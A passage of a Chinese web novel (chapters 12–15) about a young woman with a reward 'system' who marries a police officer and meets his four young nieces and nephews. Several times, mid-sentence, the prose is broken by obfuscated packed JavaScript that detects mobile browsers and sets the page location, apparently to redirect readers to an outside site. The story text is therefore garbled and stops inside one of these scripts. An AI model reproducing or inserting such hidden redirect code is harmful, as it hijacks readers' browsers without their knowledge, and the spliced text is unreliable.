他没好气地把折子拿了回来。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12115305|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 看也没看,又塞回谭乐生手里。“咱家不扣男方彩礼,你给明亚就好。” 正说着,奚明亚换好衣服出来了。 谭乐生今天穿的公安制服。 今年遇上改制,公安制服由72式换成74式,颜色由原本的上下蓝换为上白下蓝。 他身躯颀长,宽肩窄腰,站姿如松分外挺拔。待看清奚明亚的打扮,谭乐生嘴角不由得翘了翘。 奚明亚也选了白蓝搭配。 简洁的白色衬衫配上蓝色的半身及膝裙,大伙儿心里没有情侣装的概念,但当两人站一块时确实让他们眼前一亮,忍不住感慨这是一对璧人。 便是走出去了,不用特意给人介绍,人家也能心领神会两人的关系。 而衣服其实是奚明亚特意搭的。 虽说这婚结得功利十足,但谭乐生本人如果跟周威那头猪一样,她不一定下得了嘴。 毕竟能靠签到吃低保。 签上一年半载,商城里的大部分东西能兑换两三样。 全是天上掉的馅饼,白得的,还嫌弃啥? 谭乐生就很好。 甩了前头的吴庆年十条街,哪怕没有系统的奖励吊着,为了不下乡,她也愿意跟他结婚。 “走吧。” 谭乐生将存折递给奚明亚:“叔叔说由你自己管着。” 奚明亚好奇。 翻开瞄了一眼,讶然:“不是说了六百吗?怎么还多了?” 谭乐生笑:“缝纫机你不要,自行车你说家里给陪嫁,省下的部分就放一块了。” 他说得轻飘飘。 刘桂花握着朱大姐胳膊的手下意识勒紧。 一时间不知道该酸别人家女婿懂事,还是酸董桂花两口子竟舍得陪嫁自行车。 朱大姐被陡然勒那么一下,差点呲牙。她不动声色斜了眼刘桂花。 视线不经意扫过右侧柜子,发现那儿多了两罐麦乳精、一罐蜂蜜,一袋苹果,还有三大盒桃酥,不用想就知道这是谭公安昨天拎来的。 再望向奚明亚时,眼底闪过一丝复杂。 奚明亚没注意到这边的眉眼官司,点点头,语气俏皮:“那我就收着了?” 随后极其自然的将存折放进了小布包里。 直接省去了婉拒、对方再塞再拒,推拉好几个回合才“勉为其难”收下的功夫。 奚苏华&蒋大爷仨:…… 几人不约而同望向谭乐生,欲言又止。 只见谭乐生脸上依然挂着淡淡的笑容,踏出门时还温柔地递了颗奶糖过去。 “还没吃早饭吧,吃颗奶糖垫一垫,一会儿开完介绍信咱们先去吃饭,再去民政局。” “唔,谢谢。” 奚明亚撕开糖纸,浓郁香甜的奶味儿顿时盈满口腔。她眼睫弯弯,伸出食指轻轻戳谭乐生手背,“你也吃呀。” 谭乐生嗯了声,剥开一颗,果然很甜。 街道办开介绍信非常顺利。 两人在面馆对付着吃了点,便去民政局领证。 领证过程也十分顺利。 人不多,几乎没怎么排队,不到十分钟,领完证发完喜糖,两人就拿着薄薄的“奖状”出来了。 “咦?我妈五几年被街道办催着补结婚登记时,她的结婚证上写了布、棉花和糖的配额,咱们这个没有。” “遗憾了?” “不至于~~~~你这是看扁我。” “对不住,是我从门缝里看人,把高大伟岸的奚明亚同志给看扁了。” “哈哈哈,小谭公安你还挺能贫呀。” 领证前后跟换了个人一样。 谭乐生收敛笑容,语调正经起来:“不开玩笑了,我上班,你回去收拾,下了班我去接你?” 他看了眼时间。 忽然想到兜里的手表还没送出去,刚才光顾着应对街坊们了。 忙摸出来递给奚明亚:“我估算着调了长度,你看看合适不合适,不合适等下班回来我再弄。” “你眼神这么厉害啊?” 奚明亚倾身歪头看他,晃了晃莹白如玉的手腕,“那我现在戴上看看。” “咳。” 她的脸陡然在眼前放大。 谭乐生心脏骤然被一只大手捏紧,呼吸都下意识放轻了。 贴在裤缝的左手握拳、松开,反复两三次,才敢伸出扶住奚明亚,就连扶,也是轻轻托在她手肘位置,“我帮你。” “好呀。” 奚明亚见他脖子泛红,决定不逗他了。身体慢慢站直,后退一步,伸直手臂。 谭乐生松口气。 心里却又隐秘的升腾起失落。 鼻间残留着淡淡的栀子花香,似乎在暗示他两人以后会有多么亲密。 脖子,耳朵肉眼可见更红了。 “咳,好了。” 13.第 13 章 从民政局出来,谭乐生去公安局,奚明亚则到百货商场看自行车。 顺便给谭家四个小孩买见面礼。 她不清楚那几个孩子的性格,系统什么都没有说。 有时候奚明亚也会思考系统究竟为什么存在? 是为自己服务还是为那几个孩子服务? 说是为自己服务,偏偏要设定几个孩子为任务目标; 说是为了那几个孩子,对“绑定者”却并未设限,不存在任何惩罚机制。 它就像一个不成熟的玩具,专门送馅饼的,区别只有大馅饼和小馅饼…… 哦,对了,人家首选对象还不是自己。 所以纠结它是否包藏祸心是非常没有意义的事。一没有谁能弄明白答案,二,奚明亚也不觉得目前能拿它如何。 干脆躺平享受它的‘白给’。 既然系统只有最基础的出生年月、住处和父母信息,奚明亚就按照他们的年龄,选择了绝大部分同龄人可能会喜欢的东西。 给五岁的双胞胎挑了皮球,陀螺。 三岁多的谭文明则是一只上链条的铁皮青蛙,最大的谭文宣九岁,应该上学了。 奚明亚想了想,挑了一本小学生里很火的连环画《西沙之战》。 除了自行车和几个孩子的礼物。 奚明亚用谭乐生塞过来的工业票还买了一把电风扇。 家里其实有一把,但完全不够用啊。夏天最热时三个屋只能轮流吹。 最惨的就是明冬明春那个屋了,黑黢黢的,一点也不透风。 现在好了,家里两把风扇。 自己嫁出去后妈可以跟明美睡,明冬明春跟爸睡,晚上都能睡个好觉。 奚明亚买完东西,在附近租了辆板车。 特意拐到僻静无人的巷子里,将系统包裹中的八件套倒腾出来。 别说,这系统还是挺贴心的。 护肤套装外包装是雕花的木盒子,每个瓶瓶罐罐设计跟市面上别的化妆品差不多,就是产品种类更丰富,看起来更高档。 而这八件套介绍说是什么深睡控温被,拿出来看外观跟普通棉被没多大区别,就连床单花色都过于合群,是时下烂大街的红牡丹组合。 奚明亚嘴角抽抽。 啧了一声,她的眼睛被繁复的花纹吵到了。 板车推了一路,遇上好几个人偷偷摸摸上前问她棉被的来路。 她都笑嘻嘻说同学帮忙弄的,怎么弄她不清楚也没多余的。 大家都一脸失望离开。 没办法。 凭票供应的年代,棉花、布料都是紧俏货。 可惜积分难攒,不打折的被子也并不便宜,加上她的形象属于容易被辨认的那一类,否则奚明亚也想做倒爷搞搞钱。 “爸,快出来帮忙拿东西。” 院子大门有三步阶梯。板车不方便进去,奚明亚到门口就开始大嚷。 “这,这被子都是你同学帮忙弄的?” “对呀。” “哎哟,怎么搞两床薄的?看看,浪费多大一块布啊,还不如做成一床厚的呢,又实用又省被套布料。” 奚明亚白眼翻上天,“有就不错了,还挑剔呢。” 奚苏华反正意见一大堆。 挑剔完被子,又挑剔自行车,“怎么不买二八大杠,买了二六啊?你腿又不是够不着二八大杠,那个结实,更好用。” “我就喜欢二六。” “怎么还买了风扇?” “那爸,你究竟用不用吧?” 奚苏华:“……”嘿! 父女俩边拌嘴边搬东西,整得热热闹闹的。 刘桂花这两天已经麻了。 早上那一千块带来的冲击,直到这会儿还没缓过来。 就觉得,人跟人,区别咋那么大呢? 凭什么呀? 凭什么她董桂花就那么命好! 进城一个破包袱,光着大脚板连双鞋都没有。可她没婆婆磋磨,男人还争气,儿女各方面都顺顺当当的。 为奚大丫着急上火的乐子自己还没看两天人家就翻身了。 说嫁就嫁,关键这么急还能寻摸个压得住台子的出来,看看这一领证,就纵着媳妇儿给娘家买老多东西…… 一想到死对头后半辈子有的是福享,再对比自家那几个,刘桂花胸口无名火快蹿房顶了,做个饭都在摔摔打打,一会儿骂小儿子王海,一会儿骂小女儿王叶。 朱大姐坐门口纳鞋底,有些神不思蜀。 等奚明亚还完板车再进来,她忙招手喊人,“明亚你过来,朱阿姨有事问问你。” “什么事啊,朱阿姨?” “你跟明美睡一个屋,你嫁出去后那屋不就少一个人吗?你觉得我租你家半边炕成不成?” “……哈?” 奚明亚没懂,“朱阿姨你开玩笑的吧,你好好的屋子不住,去跟明美挤?” 朱大姐分到的是西厢面积最小的一间,不过也有十五平左右,一个人住肯定算宽敞的。 “额,”朱大姐讪笑。 表情为难,似乎难以启齿。 可一想这院里能有空地儿出租的就两家,一个董桂花家,一个隔壁蒋大爷家。 蒋大爷肯定不同意。 董桂花…… 自己跟董桂花关系处得不差,没准能行。 这般一琢磨,她便说了实话:“你关永哥要结婚了,厂里鸳鸯楼不够分,他现在住八人宿舍,总不能结了婚各住各的宿舍,所以……” “所以你就想让他们搬回来住,你去跟明美挤?” “朱阿姨,这肯定不行哈。” 朱大姐脸上的殷勤缓缓敛起,“怎么不行?那,你那炕空着不是空着吗?你爹妈养几个孩子负担多重啊,我每个月给两块房租不也是给他们减轻负担吗?我不白住的呀,明亚。” 奚明亚嘴角抽搐。 谁差那两块房租了? 多两块家里还能富了不成?家里多个陌生人多不方便啊? 都一个院子的,进得容易让人出去难。 朱阿姨也是轴得很。 让亲女儿下乡,过继的养子接班。 现在更厉害了,还要为养子腾出仅有的一间屋子。谁不夸她是老关家的好媳妇啊,把“不孝有三,无后为大”落实得太彻底了,为了有后,真是越来越糊涂。 “朱阿姨,你知道我们家就那么点大,我那屋和明冬的屋就七个平方左右,我们都能把一间隔成两间,四个人睡,你家也可以啊,中间拿木板和黄泥糊一糊,住三个人一点问题没有。” “太窄了,委屈人家新媳妇儿。” “你都委屈自己给关永哥腾空间了,他还嫌小啊?” “不会吧,不会吧?他这么不孝吗?” “现在谁家人均面积不就几平方啊?咱这情况都算好的了。” 住筒子楼的,一家几口塞在十多二十平屋子里的多得是。 现在分一半给他,还能挑? 那他关永真不是个东西。 朱大姐可听不得别人说关永半点不好,连忙解释:“你关永哥没说什么,他也没提要搬回来,这是我自己想的,我怕委屈了人家女同志。” 奚明亚心里不得劲。 冷哼一声:“关永哥两个人住宽敞的大一间,您却到别人家挤一个床铺,这说出去大伙儿是夸你慈母心肠,还是说关永哥没心没肺白眼狼啊?自己过得舒坦,让老母亲寄人篱下,说出去多难听。” “不是我舍不得半张炕,我是怕您自以为对关永哥好,反倒让他背上不好的名声,以后哪天厂里提干、表彰优秀工人什么的,人家一打听,这不全是话头子吗?” 朱大姐被说懵了。 自己真是为了儿子好,咋成害他呢?但明亚说的,好像确实有道理。 “真的这么严重吗,明亚,你别吓唬阿姨啊。” 奚明亚冷着脸,严肃点头:“真没吓唬你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12138238|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,咱附近都知道关永哥是过继来的,朱阿姨,要不然你问问关永哥去,听听他的想法,免得好心办坏事。” “成,我问你关永哥去,明亚啊,你不许跟别人说我差点做糊涂事的事啊。” “不说,放心,我嘴严着呢。” 奚明亚笑咧咧保证。 等下午董桂花一下班。 奚明亚就悄咪咪把这事说了。 末了叮嘱董桂花同志,“妈,你以后少给朱阿姨拿主意,我看她再这么偏心眼,迟早出事,别到时候赖你头上。” 董桂花听了直骂她糊涂。 “哎哟你说她这个人,真的让人不知道说什么好,人家嘴上夸她对关永好对得起老关家,她就美滋滋,私下里谁不笑她傻,工作给了关永,房子还要给,那以后关锦回城还能落下啥?她有没有想过自己还有个亲生女儿?老了关锦要是不管她,那真是自找的。” 就跟董桂花和刘桂花闹翻是因为孩子一样,她跟朱大姐走得近也是因为孩子。 朱大姐男人去得早,就留下关锦一个女儿,那时董桂花流了第一胎好几年没开怀,两个为怀孕发愁的女人在刘桂花的得意下,自然而然有说不完的话,诉不完的苦,渐渐地,就走得越来越近了。 后来朱大姐的婆婆上门闹事,以她无后为由逼朱大姐让出她男人的工作,还要霸占房子。 折腾好一阵子没成。 厂里不可能干这缺德事嘛。 也不知怎么着朱大姐先服了软,同意过继大伯子家的老三,就是关永。 那时候关锦三岁,关永都五岁记事了。 董桂花觉得两人关系好啊,处得跟小姐妹似的,咋能看她犯傻呢。 在过继这事就劝她。 说,反正只要她不点头,工作、房子,厂里都不会逼她让给大伯子小叔子,不如跟关锦奶奶家彻底撕巴开,往后连逢年过节的礼钱都省了,花自个儿身上不快活呀? 朱大姐没听啊。 觉得那样干以后要被戳脊梁骨,别人会骂她不贤惠,死了都没法见她男人。 还反过来教育董桂花,说她这思想太“独”了,难怪落胎娘家都没提只鸡来看她。 这话叫董桂花心寒不已。 后来她一路偏心,董桂花偶尔也劝,劝她别把亲生的心真的伤透了。 朱大姐就特别不高兴。 觉得董桂花对她儿子有意见,又争了一场。自此以后,两人的关系就不如早前亲密,只比一般邻居处得稍微好一点。 所以听到闺女的话,董桂花一点不意外,有些人吧,就是为了那虚无缥缈的名声活的,自己苦得跟黄连一样,只要外人说句“你对得起谁谁谁、你是好媳妇、好妈妈”,她就满足了。 “拒得好。” “你不拒绝,妈也要拒绝她。发癫还想发到我们家,以后摔了碰了又怪咱家地不平,还让不让人过日子了?” 奚明亚连连点头:“就是,就是。” “你那套理由不错,关永要真敢继续撺掇她租炕,我就让你弟跑他现在的那个厂子传传他的闲话。真笑死了,他是过继给关家的,又不是过继给咱整个大院的,哪有惦记别人家屋子的道理,美得他!” “嗯嗯。” 母女俩嘀嘀咕咕。 晚饭做好,全家人坐桌上快要开饭了,巷子里传来了‘滴滴嘟嘟’的喇叭声。 “谁那么傻缺把车开咱们巷子里,肯定卡住出不去了吧,哈哈哈哈。” “有可能。” “嘿嘿,我去看热闹。”明春明美撒丫子往外跑。 一分钟后,穿着制服的谭乐生跟在姐弟俩身后进来了。 奚明美声音激动得劈叉:“大姐,姐夫开车来接你了,可帅可洋气!” 话音刚落,就见桌上四双眼睛直溜溜盯着自己。 下一秒。 “噗——” 不知道谁先开始的,反正一瞬间屋里爆笑如雷。 谭乐生一脸懵逼:? 14.第 14 章 谭乐生一脸懵逼:? “怎么了?” 他低头,检查着装。 重点看了看裤子拉链和皮带,一切正常,没闹笑话。 殊不知这一连串自查动作,把快要熄灭的的笑点再次点燃。 “哈,没事,哈哈哈哈,就是我们刚刚还好奇谁把车开巷子里。” “没想到是我?” “嗯。”奚明亚笑靥如花,拍拍身边,“快来,先吃饭。” 家里知道奚明亚今晚就要搬到槐花街,饭桌上早就摆好了谭乐生的碗筷。 奚苏华高兴。 一个劲喝酒,没喝几盅便开始猛男抹泪,“小谭啊,我女儿就交给你了,你不能欺负她啊。” “叔叔,我不——” “什么叔叔,你娶了我闺女,都不喊声爸吗?” 谭乐生顺着改口,“爸,我肯定对明亚好,一辈子不欺负她。” “中!” “你敢欺负她,我们三伢子肯定不会放过你。” “爸,你少喝点。” 奚明亚本来没有离家感觉,被老奚突然嗷的一嗓子给搅得又想哭,又想笑,有些惆怅:“槐花街离得近,我随时都能回来,别操心,啊。” 董桂花眼眶湿润着呢。 一听这话,也对啊。 又不是嫁得老远,想回来就是抬个脚的功夫,她想闺女了,下班遛个弯就遛过去了,有什么好哭好愁的! 赶紧夺过丈夫手里的酒盅,没好气训道,“看你,喝几口猫尿就变话痨。” “不许喝了。” 奚明春一副讨打的样子,“爸,你肯定白担心了,谁能欺负她啊?” 她不欺负别人就好了。 就算姐夫是公安,当过兵有身手,那也不一定顶得住大姐一巴掌。 “二哥,你说是不是?人家胸口碎大石,奚明亚能一巴掌拍碎一块大石头……哎哟,大姐,你敲的是我的头,不是咱院里的石墩子。” 奚明亚挑眉,皮笑肉不笑,“是吗,我不是奚明亚吗?怎么又变大姐了?” 奚明冬忍笑,“活该!” 奚明美:“活该,嘻嘻~~” 奚明春瞪眼,环视一圈。发现竟无人为自己做主,心情悲愤交加,一怒之下又怒了一下,“过分,你们一起孤立我!” “嗯嗯,就孤立你。” 奚明亚敷衍得很,扭头给谭乐生夹菜,问起那几个孩子,“我给他们买了礼物,但不知道合不合他们的心意。” 这话把谭乐生难住了。 “我也不知道他们喜欢什么。” 奚明亚狐疑,谭乐生苦笑:“之前不怎么来往,上个月接他们是第一次见面。” “……噢。” 看来谭家这一辈人关系很有隐情啊。 奚明亚没接着问。 不动声色转移话题,“你是不是猜到我东西很多,所以借了单位的汽车?” “嗯。” 她善解人意换了话题,谭乐生其实松了口气的。 他跟谭民生谭念生同母异父。 个中情形牵涉到彼此的生父,一时半会很难说清,的确不适合当着爱人的娘家人讲。 “运气好,车子刚送检修站检查过,单位这两天不用车。” “哇,那我也是坐过小汽车的人了。”奚明亚问,“坐小汽车跟坐公交感觉一样吗?” “区别应该不大,可能没那么颠簸?” “还好你借了车,我今天刚好买了自行车,两床新棉被,加上衣服,平时用到的杂七杂八的东西,用自行车载回去当真有些难。” “……” 两人小声说着话。 本来还有些生疏客气,但家长里短间,慢慢就拉近两人之间的距离,不知不觉上半身就越挨越近了。 其他人见两人有说有笑,便没随意插话。 说实话,亲事定得实在太急。 就算谭乐生各方面都叫人挑不出错,家里众人那根绷紧的弦不是想松就能立马松的。 吃完饭,奚明冬捧着一个盒子,“大姐,我和明美、明春凑钱给你买的结婚礼物。” 奚明亚这才有了自己要离家的真实感。 她眨眨眼睛。 把不受控制快要滚出来的泪水憋回去,笑着用力揉了揉大弟弟狗头,“谢谢啊,回头我给你们仨一人颁发一个大奖状,就写,爱姐有功!” 明冬三兄妹对视一眼,不约而同做了个哕的动作:“切~~~~” 奚明亚佯怒:“哼!” 三兄妹也哼一声。 原本温情流泪的姐弟离别场面生生被这几人搞成了喜剧段子。 谭乐生站旁边,双眸酝着笑意。隐约间,还有一丝转瞬即逝的羡慕。 “爸、妈,明冬明美明春,我们就先走了。” 两人不打算办酒席的事儿院里都知道。 不过这些年各家都有娶媳妇嫁闺女,甭管人家办不办,收过的礼肯定得还回来。 这时候随礼很少随钱。 讲究的是公平地你来我往。从前随了什么出去,大概率收回来的就还是那几样。 于是,车子开出棉纺厂一条街时车上便多了两个暖水瓶,两个瓷盆,一副枕巾。 加上奚家早就准备好的两套…… “我们像不像倒卖暖水瓶的?”说完,奚明亚自个儿先笑起来了。 她的话题总是天马行空的,上一秒还在调侃随礼,下一秒就跳到了柴米油盐上,“你侄子外甥好相处吗?” “现在才开始担心?”谭乐生眉梢挑了下,好笑地瞥奚明亚。 “呐,你该高兴啊,因为你的光芒盖过其他了。现在为了咱们家庭未来的和谐友爱,说说,快说说嘛~” 谭乐生被她言不由衷的语气逗得嘴角止不住地上扬。 “大概,还行?” “别还行,来点具体的。” 直到车子开进槐花街,这个“具体”也没具体出来。 没办法。 谭乐生也不清楚几个孩子的性格。 自接管他们,他就没闲过。 办理转业、拾掇房子、清理局里的档案资料,每天都在连轴转。 白天,大的上小学。 小的几个送到附近食品厂托儿所,他跟几个孩子见面的时间只有晚上。 而到晚上,吃饭、睡觉,问上几句也就过去了。 他没养过孩子,很多方面考虑得不够细致周到,他能做到的就是确保他们没饿着、没冻着。 不过时下大部分家庭孩子都养得糙,保证不饿死就成。 包括奚家几个,也是大的带小的,学习、性格塑造这些全靠放养随缘。 还真不能说谭乐生不够负责。 “哦,原来如此,那我这个婶婶舅妈应该当得很轻松咯~~~” 奚明亚侧首,对上谭乐生诧异的眼神,不紧不慢道:“你是他们真正的亲人,你都只管他们吃饱穿暖,那你希望我做到什么地步?” 其实第一次见面时,两人就这个问题浅聊过,但奚明亚还是忍不住再次试探。 谭乐生没有不耐烦。 他认真思考了几秒,态度和上次一样:“我上回说的是真心话,你不需要做到视如己出,把他们当正常亲戚家的小孩看待就行。除开生活保障,如果孩子性格有走歪的迹象,你愿意掰一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|12150439|128805||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 掰教一教最好,若是为难,告诉我,我来。” “真的?” 谭乐生点头,“家里的事有些复杂,我还没想好要怎么跟你开口……” “他们如果不礼貌不尊重你,作为长辈,你有教训他们的权利。” 确定上回说的不是场面话,奚明亚满意地点点头,“你放心,我会讲理的。” “到了。” 槐花街宽敞,这个点很多人吃完晚饭,正在外头纳凉聊天。 车子刚停稳,大家好奇的目光齐齐射了过来。 “是小谭公安啊。” 谭乐生眉宇松弛,摸摸鼻子显得有些不好意思。 他笑着跟大家打招呼。 给他们介绍奚明亚,“这是我爱人奚明亚,我们今天领的证。” “噢唷,你这个效率高得不像话。” 前几天牛玉芬还在说要帮谭公安安排相亲,结果今儿人就带回来了。 不愧是当过兵的人,速战速决。 “谁给你介绍的啊,你俩登对的嘞。” 这可不是客套话。 都高挑,都生得一副好相貌,姑娘眉宇飞扬,瞅着就朝气蓬勃,很有活力的样子。 葛嬢嬢不得不承认,这位的确比她想撮合给谭公安的对街玉梅看着舒坦。 玉梅也长得好看。 就是家里老娘和弟弟不成器,叫她脸上随时拢着一抹愁,楚楚可怜的样子,要是能嫁给谭公安,谭公安肯定能给她撑起一片天,让她不那么愁,可惜咯…… 谭乐生没想到打个照面葛嬢嬢想了这么多,他笑笑回答:“街道办徐大妈跟我丈母娘认识。葛嬢嬢我先搬东西,有空再聊。” “东西多哇,大家也来搭把手。” 其他人也想看看车里都放了些什么东西。 他们起初还在琢磨这姑娘是不是家里条件不好,才挑了有四个孩子要养的谭公安。 等真看到人,一打量,衣裳上没见着补丁,人也精神体面,显然家里日子过得不差。 再听搬东西,大伙儿好奇心就被勾出来了。 街坊们愿意帮忙,谭乐生两人哪有不让的,奚明亚更是全程笑眯眯地跟大伙道谢。 谭乐生住的跨院连接的是二进院的门。 呼啦啦一堆人搬着东西经过一进院,二进院,说说笑笑的,不知不觉人就越来越多,直到进入跨院,两人身后已经跟了十几号人。 奚明亚觉得自己这婚结得挺热闹的。走哪都有人拉着说话,一刻都冷清不下来。 “叔叔阿姨们,今儿个劳累大家了,吃点糖甜甜嘴儿。” 都是抬头不见低头见的邻居,奚明亚出手不小气。每个人都抓了一捧糖,大白兔和水果糖混着,还掺着一两块花生酥。 接过糖的邻居们各个乐得见牙不见眼。 大伙儿见了新媳妇儿,吃了喜糖,知道刚结婚的小两口事多,没死赖着讨人嫌,吆喝着就离开了。 奚明亚没第一时间进屋整理行李。 她拿出事先准备好的见面礼,向躲在堂屋里往外偷看的几个孩子招手。 谭文宣还在犹豫要不要出去,亲弟弟谭文明就迈着小短腿冲了出去。 边冲边喊:“小叔~~~” 他一冲,旁边的双胞胎生怕去晚了就漏下他们似的,也手牵手往外跑。 谭文宣气得直跺脚。 果然是小孩,太幼稚太没脑子了,人家还没开始哄,他们就眼巴巴凑上去了。 但他们几个都出去了,自己这个大哥不出去,小叔会不会觉得自己不好? 小小纠结了一会儿。 谭文宣叹息一声,抿着嘴,缓缓踏出堂屋。 15.第 15 章 奚明亚没错过小孩跌宕起伏的心理大戏,但只扫了一眼迅速收回视线。 脸上还是笑眯眯的。 她望着缩在谭乐生脚边的三个萝卜头,“小孩儿,你们谁是谁啊?” “告诉我,你们都叫什么名字?” 笑得跟狼外婆似的,一边问,一边摆弄皮球、青蛙,“谁先说就让谁先挑礼物,每个人的都不一样,挑完就没有咯。” 一听礼物,三个没拿到幼儿园文凭的小家伙眼睛刷一下锃亮锃亮。 “我,我是欢欢。” 小姑娘说完,抬头看向舅舅,甜甜笑问:“舅舅,姐姐是我的新舅妈吗?” 谭乐生哭笑不得。 屈起手指轻轻弹她脑门,“什么姐姐新舅妈,就这一个舅妈。” 确认是舅妈,还是一来就送她玩具的舅妈,不是表哥说的坏女人。 小姑娘心里放心了。 睁着晶亮的大眼睛,原地犹豫了两秒,就蹬蹬跑到奚明亚身边,一把抱住她的腿,“舅妈,欢欢第一。” 奚明亚的腿从来没缺过挂件。 自小被弟弟妹妹抱到大,小团子猛地扑过来她手很自然地揉了揉她圆溜溜的脑袋。 “嗯,你第一,你先选。” “好哟。” 小姑娘仰着头,圆溜溜的眼睛弯成月牙,“舅舅,要皮球。” “自己的玩具自己拿。” “好哒~” 见舅妈说话算话得,另一道急切的小奶音咋咋呼呼响起。 “舅妈,还有我,我是明明。” 谭文明举起小胖手,高阳一看自己落后了,也赶紧扯着嗓门喊,“我是阳阳,阳阳。” “好,明明先选,阳阳后选。” 谭文明开心了。 高阳却噘着嘴,眼珠儿转了转,抬脚冲到礼物那儿想要先拿。 刚跑两步,衣服领子就被奚明亚拽住。小家伙气呼呼回头,“我是哥哥,我要先选。” 奚明亚抬起手指晃了晃。 冷酷后妈脸:“不可以。” 高阳:“为什么不可以?我要先选,我就要先选~~~” 奚明亚微笑:“我没定规矩那你们自己定,哥哥先弟弟先都可以。但我定了,小朋友只能无条件遵守规则哦,不然就什么都没有了。” 四五岁的小孩或许不一定能听懂话里具体意思,但他一定能分辨大人的情绪。 比如此刻。 高阳就明确意识到舅妈在对他说“不”。还没吃过拒绝委屈的他顿时哇哇大哭起来。 边哭身体边往地上使力,企图用满地打滚达成要求。 他一哭,前头开开心心挑了玩具的两小只也跟着扁了嘴,抱着玩具害怕地看着奚明亚。 奚明亚抬头。 冲他们笑了笑,安抚两小只的情绪:“呐,不是我欺负他哦,是阳阳不遵守规则还哭,他羞羞脸。但是我们欢欢和明明今天就很棒。” 打一棍子给颗甜枣,分化管理这套奚明亚玩得溜溜的。 两小只一听,是哦! 舅妈没凶他们,只凶了阳阳,是阳阳先不乖。但还是惊疑不定地看向最信赖的舅舅。 谭乐生点头,“欢欢明明棒棒的。” 两小只蹙着的眉毛才慢慢松开,欢欢人小鬼大地叹了口气,“阳阳太任性了。” 这词也不知道跟谁学的,引人发噱。 吐槽完双胞胎哥哥,小丫头就牵着表弟到旁边拍皮球去了。 高阳还在扯着脖子干嚎。 奚明亚没哄,谭乐生也没搭理他,而是将最后的礼物——连环画递给谭文宣。 “你小婶给你买的。” 短短几分钟让谭文宣暂时歇了跟刚来的婶婶作对的心思。他努力装出欢迎的天真模样:“谢谢小婶。” “不用谢,以后还要请文宣帮我一起照顾弟弟妹妹呢。” 谭文宣笑容微僵:“……” 小小少年看谭乐生。 恨不得扯着小叔衣服喊醒他——小叔你看你娶了个什么媳妇,刚进门就要压榨我这个大孩子去照顾弟弟妹妹,她这算好女人吗? 可惜谭乐生正笑吟吟地看着。 他乐见奚明亚在几个孩子面前树立威信。 毕竟考虑到现实,以后跟几个孩子接触得更多的是奚明亚。若他在奚明亚引导管教孩子时唱反调,对这个家只会百害而无一利。 当然,这些都建立在他相信奚明亚不会无缘无故磋磨几个孩子的前提下。 但谭文宣不相信啊。 他从头到尾都很排斥谭乐生结婚,担心谭乐生一旦结婚有了自己的孩子,会对他们几个不好。 可现实告诉他,他乐不乐意并不重要。小叔根本就不疼他们,一点儿也不愿意为了他们保持单身,他现在有了老婆,很快就会有自己的孩子,到时候就更不会在意他们了。 谭文宣心情沮丧。 嘴唇抿了抿,不甘不愿“哦”了声。 奚明亚眼睛弯了弯,没计较他是不是真心的,不吝表扬:“真乖。” 小孩子嘛,有点心眼子没什么大不了。 反正系统给她的任务是养娃。 日常指标只有吃穿住行,可没硬性要求她必须成为他们心目中的好舅妈、好婶婶,必须给他们洗涤心灵。 她把该做的做了。 他们乐不乐意,是不是真心接纳,全都不重要。 可她越这样无所谓,谭文宣心里越是深深的忌惮。 这女人实在太可怕了。 一点面子功夫不做,一点儿看不出慈爱善良。阳阳哭了就任由他哭,也不哄哄。 小叔在家她就这样。 如果不在家,还不知道要怎么对付他们几个呢。 谭文宣心里沉甸甸的。 看着一旁傻玩的两小只,再看哭了半天见没人哄已经自己歇声,挂着眼泪磨蹭着去摸玩具的高阳…… 他觉得自己身上背着好几座大山。快被“大哥”带来的责任感给压垮了。 奚明亚对几个孩子的性格大概有数后,就进屋整理行李去了。 突然。 谭乐生步履匆匆走过来。 门开着,但他还是抬手敲了下,“明亚,局里来人叫我,说是有大案,你单独跟几个孩子相处能行吗?” 这真是瞌睡来了遇到枕头。 奚明亚想也没想道:“没问题,家里交给我,你放心。” 听到“家”这个字眼,谭乐生眸光亮了一瞬,他唇角翕动一下,过了会儿,放轻声音道:“好,家里的钱和票在书桌第二个抽屉,我先走了。” “注意安全。” “好,我会的。” 奚明亚跟着从屋里出去,就看到一个精瘦,左边太阳穴一颗黑痣,比谭乐生矮上一个头的男同志在院里等着,正来回踱步。 看到奚明亚出来。 男同志先喊了声,“弟妹对不住啊,搅了你们的新婚夜。” 奚明亚摆手:“案子要紧,你们都要当心,要平安回来。” “借你吉言。” 事情出得急,打了两声招呼,两人就匆匆忙忙走了。 四个孩子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 